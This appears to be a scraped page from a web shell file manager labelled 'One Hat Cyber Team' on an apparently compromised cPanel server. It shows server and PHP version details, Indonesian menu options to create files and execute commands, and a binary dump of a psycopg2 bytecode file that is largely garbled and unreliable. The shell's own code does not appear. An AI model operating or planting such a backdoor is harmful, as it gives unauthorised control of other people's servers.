⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software:
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
lib64
/
python2.7
/
site-packages
/
psycopg2
/
View File Name :
_json.pyo
� 0��Qc @ s� d Z d d l Z d d l m Z m Z d d l m Z m Z m Z e j d d k rf d d l Z n* y d d l Z Wn e k r� d Z n Xd Z d Z d e f d � � YZ d e d d d d � Z d e d d � Z d d � Z d � Z d S( s� Implementation of the JSON adaptation objects This module exists to avoid a circular import problem: pyscopg2.extras depends on psycopg2.extension, so I can't create the default JSON typecasters in extensions importing register_json from extras. i����N( t ISQLQuotet QuotedString( t new_typet new_array_typet register_typei i ir i� t Jsonc B s5 e Z d Z d d � Z d � Z d � Z d � Z RS( s� An `~psycopg2.extensions.ISQLQuote` wrapper to adapt a Python object to :sql:`json` data type. `!Json` can be used to wrap any object supported by the provided *dumps* function. If none is provided, the standard :py:func:`json.dumps()` is used (`!simplejson` for Python < 2.6; `~psycopg2.extensions.ISQLQuote.getquoted()` will raise `!ImportError` if the module is not available). c C sI | | _ | d k r! | | _ n$ t d k r<